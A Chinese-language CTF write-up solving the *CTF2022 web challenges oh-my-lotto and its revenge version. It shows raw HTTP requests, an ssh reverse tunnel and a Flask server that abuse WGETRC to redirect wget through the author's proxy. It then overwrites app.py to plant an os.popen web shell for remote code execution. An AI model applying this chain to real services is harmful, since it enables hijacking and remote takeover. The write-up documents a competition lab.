*CTF2022-web-writeup

周末看了*ctf2022的题目 web依旧没活硬整 总体打个3🌟吧
这里写一个我觉得还蛮有意思的oh-my-lotto
其他题解请移步EDI安全公众号

oh-my-lotto

前面就是基础的pytho代码阅读
有两个服务 一个是web竞猜 一个是生成竞猜数据
功能点:

  1. web竞猜服务上传一个文件 内容为你猜的数值
  2. 设置一次环境变量
  3. web竞猜服务通过wget请求http://lotto/
  4. 如果你上传的文件内容和随机生成的竞猜数据相同即可获得flag

既然可以设置环境变量就和p牛的那个题思路差不多了

下载wget源码查看所有可以利用的环境变量(搜索getenv

Untitled
很容易发现了一个RC结尾的变量WGETRC
查看wget的帮助文档可以发现该变量用于加载配置文件 配置文件格式与wget命令一致

题目过滤了proxy不能修改系统变量实现代理 但是我们还是可以使用配置文件加载代理

所以我们上传一个内容为代理配置的文件 让wget设置该代理 就可以在本地拦截题目内部对lotto的请求,这样修改返回包内容即可获取flag

Untitled

我们首先把本地的burp转发到服务器上

ssh -p 22 -f -g -C -N -R 8080:127.0.0.1:8080 [email protected]7

因为服务器请求的是http://lotto我们在本地也添加一条host解析 这样就不用手动改包了

Untitled

接着启动一个web服务 返回代理配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from flask import Flask, make_response
import secrets

app = Flask(__name__)

@app.route("/")
def index():
lotto = []
for i in range(1, 20):
n = str(secrets.randbelow(40))
lotto.append(n)

r = '\n'.join(lotto)
r = "http_proxy=http://120.26.59.137:8080"
response = make_response(r)
response.headers['Content-Type'] = 'text/plain'
response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt'
return response

if __name__ == "__main__":
app.run(debug=True, host='0.0.0.0', port=80)

题目需要输入md5的值才可以启动环境 简单爆破一下md5

Untitled

随后针对题目上传文件 指定代理为我的服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /forecast HTTP/1.1
Host: 121.36.217.177:53002
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------2363992665965896981350789360
Content-Length: 249
Origin: http://127.0.0.1:8880
Connection: close
Referer: http://127.0.0.1:8880/forecast
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-Forwarded-For: 1.1.1.1
X-Originating-IP: 1.1.1.1
X-Remote-IP: 1.1.1.1
X-Remote-Addr: 1.1.1.1

-----------------------------2363992665965896981350789360
Content-Disposition: form-data; name="file"; filename="2.jpg"
Content-Type: image/jpeg

http_proxy=http://120.26.59.137:8080
-----------------------------2363992665965896981350789360--

接着修改环境变量WGETRC指向刚刚上传的文件 使wget加载代理请求http://lotto 返回内容为代理配置内容 getflag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
POST /lotto HTTP/1.1
Host: 121.36.217.177:53002
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------134338874213176516492993923776
Content-Length: 324
Origin: http://127.0.0.1:8880
Connection: close
Referer: http://127.0.0.1:8880/lotto
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-Forwarded-For: 1.1.1.1
X-Originating-IP: 1.1.1.1
X-Remote-IP: 1.1.1.1
X-Remote-Addr: 1.1.1.1

-----------------------------134338874213176516492993923776
Content-Disposition: form-data; name="lotto_key"

WGETRC
-----------------------------134338874213176516492993923776
Content-Disposition: form-data; name="lotto_value"

/app/guess/forecast.txt
-----------------------------134338874213176516492993923776--

Untitled

oh-my-lotto-revenge

和出题人沟通后 证实了我那个思路是非预期 晚点的时候上了revenge
在revenge中 修改了flag获取条件 需要rce(出题人为了照顾第一个题使其不烂掉 还是没有ban WGETRC 这就给了我很大的操作空间

首先我们要知道 wget参数可控的情况下有哪些可利用的参数

  1. 文件读取
  2. 指定输出文件
  3. 设置代理

    我们留意一下出题人使用的参数
  4. --content-disposition 当选择本地文件名时允许 Content-Disposition
  5. -N 只获取比本地文件新的文件

根据lotto服务的返回我们可以发现response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt'

所以我们可以修改filename的值 让他覆盖当前目录下的任意文件
细心点可以发现出题人把web服务的debug打开了 所以可以直接使用代理来替换app.py(赛后看到有的师傅是修改模板文件 思路都一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from flask import Flask, make_response
import secrets

app = Flask(__name__)

@app.route("/")
def index():
lotto = []
for i in range(1, 20):
n = str(secrets.randbelow(40))
lotto.append(n)

r = '\n'.join(lotto)
# r = "http_proxy=http://120.26.59.137:8080"
r = open("exp1.py",'r').read()
response = make_response(r)
response.headers['Content-Type'] = 'text/plain'
response.headers['Content-Disposition'] = 'attachment; filename=app.py'
return response

if __name__ == "__main__":
app.run(debug=True, host='0.0.0.0', port=80)

# 主要就是shell路由
# @app.route("/edi", methods=['GET', 'POST'])
# def index():
# return os.popen(request.query_string.get('edi')).read()

出题人用的是gunicorn来保持python运行 不会及时的重载

但我们还是可以使用bp拦截数据包 直到gunicorn重启worker

Untitled

你要做的就是不停的请求shell路由

Untitled

留给读者的问题

环境变量可控注入的情况下
system执行wget能rce么?

作者

Suanve

发布于

2022-04-18

更新于

2022-04-18

许可协议